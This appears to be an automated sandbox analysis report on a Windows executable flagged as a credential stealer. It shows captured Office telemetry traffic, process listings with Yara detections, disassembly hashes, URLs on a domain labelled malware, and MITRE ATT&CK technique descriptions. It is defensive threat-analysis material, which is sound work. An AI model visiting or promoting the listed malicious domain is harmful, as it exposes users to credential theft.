2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-1777c6cb7544nvmshC1TEBf7qc00000008h000000000qc06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-r1d97b9957747b9jhC1TEBgyec00000008a0000000000ygn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001847Z-1777c6cb754wcxkwhC1TEB3c6w00000008s000000000b652 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:47 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001847Z-1777c6cb7542p5p4hC1TEBq09800000008ug00000000a7m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:47 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:47 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:47 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001847Z-1777c6cb754xjpthhC1TEBexs800000008k000000000rx8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:47 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:47 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:47 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001847Z-185f5d8b95ckwnflhC1NYCx9qs00000009gg00000000e1sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:47 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	19:18:20
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3a0000
File size:	1'884'672 bytes
MD5 hash:	DE0479866482075EEAD948DE5ED353EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2250527169.000000000102F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2266079223.0000000001037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2250810319.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2251188449.000000000102F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2263461215.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2225744563.000000000102F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2265819903.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:18:43
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	19:18:43
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1836,i,7822006683133488739,5750261505486873411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:18:47
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:18:47
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2036,i,12764946294742633135,14332685137826190818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 01034EF2 Relevance: 5.4, Strings: 4, Instructions: 407COMMON

Download Yara Rule

Strings

K, xrefs: 0103524F
h, xrefs: 01034F29
o, xrefs: 0103516F
W, xrefs: 010351DF

Memory Dump Source

Source File: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, Offset: 01032000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1030000_file.jbxd

Yara matches

Similarity

API ID:
String ID: K$W$h$o
API String ID: 0-2283771288
Opcode ID: c9a56807905f43c84964b736e136d6e8bc3ee6e250ab08b2eff81ef477f01b2c
Instruction ID: d2c81d27a2297765ac775a88ec1368e83ae36f4426c050f4cbdd276d2d5eaf60
Opcode Fuzzy Hash: c9a56807905f43c84964b736e136d6e8bc3ee6e250ab08b2eff81ef477f01b2c
Instruction Fuzzy Hash: C602CBA694E7C14FE7438B7089696897FB45F53208F0E44DBC5C4CF4E3D2A86A1AD722

Function 01034F02 Relevance: 5.4, Strings: 4, Instructions: 402COMMON

Download Yara Rule

Strings

W, xrefs: 010351DF
K, xrefs: 0103524F
h, xrefs: 01034F29
o, xrefs: 0103516F

Memory Dump Source

Source File: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Associated: 00000000.00000003.2265819903.0000000001030000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1030000_file.jbxd

Yara matches

Similarity

API ID:
String ID: K$W$h$o
API String ID: 0-2283771288
Opcode ID: 938d22f3756e2abaaebaf9031c6c3d0d1f6bfda68b1862e5ee610498d2eae40f
Instruction ID: 00ca9a8502152c3d4b5aa745253e9166bd954343138062b6d8179c35d0a68518
Opcode Fuzzy Hash: 938d22f3756e2abaaebaf9031c6c3d0d1f6bfda68b1862e5ee610498d2eae40f
Instruction Fuzzy Hash: 6902CBA684E7C14FE7438B7089696897FB45F53204F0E44DBC5C4CF4E3D2A8AA1AD722

Function 0103C7E2 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, Offset: 0103C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1030000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a7855eed263b63c9bd7c31759688befeafcacfdfcb4c89e968a1fad88915e4
Instruction ID: 930eee46c1184c944a2ca8e321d8f44824b87e5f9ca6fe9e9cfc67e8c8deb12a
Opcode Fuzzy Hash: b3a7855eed263b63c9bd7c31759688befeafcacfdfcb4c89e968a1fad88915e4
Instruction Fuzzy Hash: CAA1D06244E3C14FE3038B788D6A6953FB4AF63214B0E45DBC4C4CF1B3E259A95AD762

Function 0103C7E2 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp, Offset: 01032000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1030000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a7855eed263b63c9bd7c31759688befeafcacfdfcb4c89e968a1fad88915e4
Instruction ID: 930eee46c1184c944a2ca8e321d8f44824b87e5f9ca6fe9e9cfc67e8c8deb12a
Opcode Fuzzy Hash: b3a7855eed263b63c9bd7c31759688befeafcacfdfcb4c89e968a1fad88915e4
Instruction Fuzzy Hash: CAA1D06244E3C14FE3038B788D6A6953FB4AF63214B0E45DBC4C4CF1B3E259A95AD762

Source: https://cook-rain.sbs/lg	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/eg	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/)))	Avira URL Cloud: Label: malware

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
